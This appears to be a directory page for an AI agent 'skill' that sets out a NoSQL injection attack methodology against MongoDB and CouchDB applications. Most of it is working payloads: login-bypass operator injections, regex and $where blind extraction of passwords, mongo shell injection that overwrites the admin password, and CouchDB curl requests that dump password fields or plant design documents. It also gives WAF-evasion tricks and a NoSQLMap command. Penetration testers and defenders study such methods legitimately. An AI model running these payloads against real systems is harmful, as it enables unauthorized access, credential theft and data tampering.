SuperAPI AI Directory

nosql-injection

Data & analytics

View repository

Updated 10-16 08:08

About this skill

NoSQL Injection Methodology

NoSQL databases (primarily MongoDB) use structured query objects rather than SQL strings, but this does not mean they are secure—when an application directly concatenates user input into a query object, an attacker can inject query operators to alter the query logic.

Phase 0: Quick Identification

Signal Assessment
JSON-formatted login request (Content-Type: application/json) High probability of MongoDB backend
Node.js / Express tech stack MongoDB is the most common database for Node.js
Error message contains MongoError、CastError、BSONTypeError Confirms MongoDB
URL contains mongodb:// connection string Confirms MongoDB
Python Flask + PyMongo / Mongoose ODM Confirms MongoDB
Parameter values accept objects/arrays (e.g. user[$ne]=x) Operator injection possible
CouchDB /_all_docs、/_find endpoint CouchDB injection

Phase 1: Authentication Bypass (Highest Priority)

The most common exploitation scenario for NoSQL injection is bypassing login authentication.

1.1 Operator Injection

Core idea: turn {"username": "admin", "password": "xxx"} into {"username": "admin", "password": {"$ne": ""}}, making the password check always true.

JSON format (Content-Type: application/json):

{"username": "admin", "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}

URL-encoded format (Content-Type: application/x-www-form-urlencoded):

username=admin&password[$ne]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$gt]=
username[$regex]=^adm&password[$ne]=

Why try both formats: Express's qs middleware automatically parses user[$ne] into {user: {$ne: ""}}, but some applications only accept JSON, and some only accept URL encoding. Trying both ensures nothing is missed.

1.2 Quick Test Flow

1. 正常登录请求 → 记录失败响应(状态码/长度/内容)
2. 替换 password 为 {"$ne": ""} → 对比响应差异
3. 如果 JSON 不行,换 URL 编码: password[$ne]=
4. 如果 $ne 不行,试 $gt、$gte、$exists:true
5. 绕过用户名: username={"$regex": ".*"} 配合 password={"$ne": ""}

1.3 Enumerate Valid Usernames

{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}

Increment character by character, and determine whether the username matches based on response differences.

Phase 2: Data Extraction (Blind Injection)

When the injection point is not in a login scenario, or when specific field values need to be extracted.

2.1 $regex Blind Extraction

Principle: Guess the field value character by character via regex, and determine whether the character is correct based on response differences (true/false, 200/401, content length).

{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}

Automation Script Template → read references/nosql-payloads.md

2.2 $where JavaScript Injection

$where The operator allows arbitrary JavaScript to be executed in the query (MongoDB 4.x and below):

{"$where": "this.username == 'admin' && this.password.match(/^a.*/)"}

Conditional check (blind injection oracle):

{"$where": "function(){return this.password.length > 5}"}
{"$where": "function(){return this.password[0] == 'a'}"}

Time-based blind injection:

{"$where": "function(){if(this.password.match(/^a.*/)){sleep(3000);return true;}return false;}"}

$where Depends on whether server-side JavaScript is enabled; it can be disabled via --noscripting or security.javascriptEnabled: false . As of MongoDB 8.0, server-side JavaScript (including $where) is deprecated, but 5.x/6.x/7.x should not be assumed unavailable by default.

2.3 $lookup Cross-Collection Reads (Aggregation Pipeline Injection)

If the injection point is in an aggregation pipeline parameter:

[{"$lookup": {"from": "users", "localField": "_id", "foreignField": "_id", "as": "leaked"}}]

Phase 3: Advanced Exploitation

3.1 MongoDB SSRF (via ObjectId)

Some applications use the timestamp portion of an ObjectId to generate information:

ObjectId("507f1f77bcf86cd799439011")
     ↓ 前 8 位 hex = Unix 时间戳
507f1f77 → 2012-10-17T21:02:31Z

3.2 MongoDB Shell Injection

When input is directly concatenated into mongo In shell commands (rare but fatal):

'; db.users.find().forEach(printjson); var x='
'; db.users.update({username:"admin"},{$set:{password:"hacked"}}); var x='

3.3 CouchDB-Specific Attacks

CouchDB uses a REST API, so the injection method is different:

# 未授权访问检测
curl http://TARGET:5984/_all_dbs

# Mango 查询注入(/_find 端点)
curl -X POST http://TARGET:5984/dbname/_find \
  -H "Content-Type: application/json" \
  -d '{"selector":{"password":{"$gt":null}},"fields":["_id","username","password"]}'

# 篡改 design document(需要 admin):改变 view 输出或隐藏/污染查询结果
curl -X PUT http://TARGET:5984/testdb/_design/exploit \
  -H "Content-Type: application/json" \
  -d '{"views":{"leak":{"map":"function(doc){ if (doc.password) emit(doc._id, doc.password); }"}}}'

Phase 4: Defense Bypass

4.1 Type Conversion Bypass

Some WAFs only check for the $ symbol in strings:

// 原始
{"password": {"$ne": ""}}

// Unicode 绕过
{"password": {"\u0024ne": ""}}

// 深层嵌套
{"password": {"$not": {"$eq": "wrong_password"}}}

4.2 Content-Type Switching

If the WAF only checks the JSON format:

Content-Type: application/x-www-form-urlencoded
password[$ne]=&username=admin

Conversely, if the WAF only checks URL parameters:

Content-Type: application/json
{"password": {"$ne": ""}}

4.3 Operator Variants

{"$ne": "x"}        // 不等于
{"$gt": ""}         // 大于空字符串
{"$gte": " "}       // 大于等于空格
{"$exists": true}   // 字段存在
{"$in": ["admin"]}  // 在列表中
{"$nin": [""]}      // 不在列表中
{"$not": {"$eq": "wrong"}}  // 双重否定

Tool Recommendations

Tool Purpose Command
NoSQLMap Automated NoSQL injection python nosqlmap.py -u http://TARGET/login -p username,password
mongosh Direct connection testing mongosh mongodb://TARGET:27017
Burp Intruder Operator fuzzing Test operators one by one using a payload list

Decision Tree

发现登录页面 + JSON 请求
  ├── 试 {"password":{"$ne":""}} → 成功?→ 认证绕过 ✅
  ├── 试 password[$ne]= (URL编码) → 成功?→ 认证绕过 ✅
  ├── 两种都失败
  │   ├── 检查是否有 WAF → Phase 4 绕过
  │   ├── 检查是否 MongoDB → 错误信息/指纹
  │   └── 不是 NoSQL → 尝试 SQL 注入
  └── 需要提取数据
      ├── $regex 盲注 → Phase 2.1
      ├── $where JS 注入 → Phase 2.2
      └── 聚合管道 → Phase 2.3

Reference Resources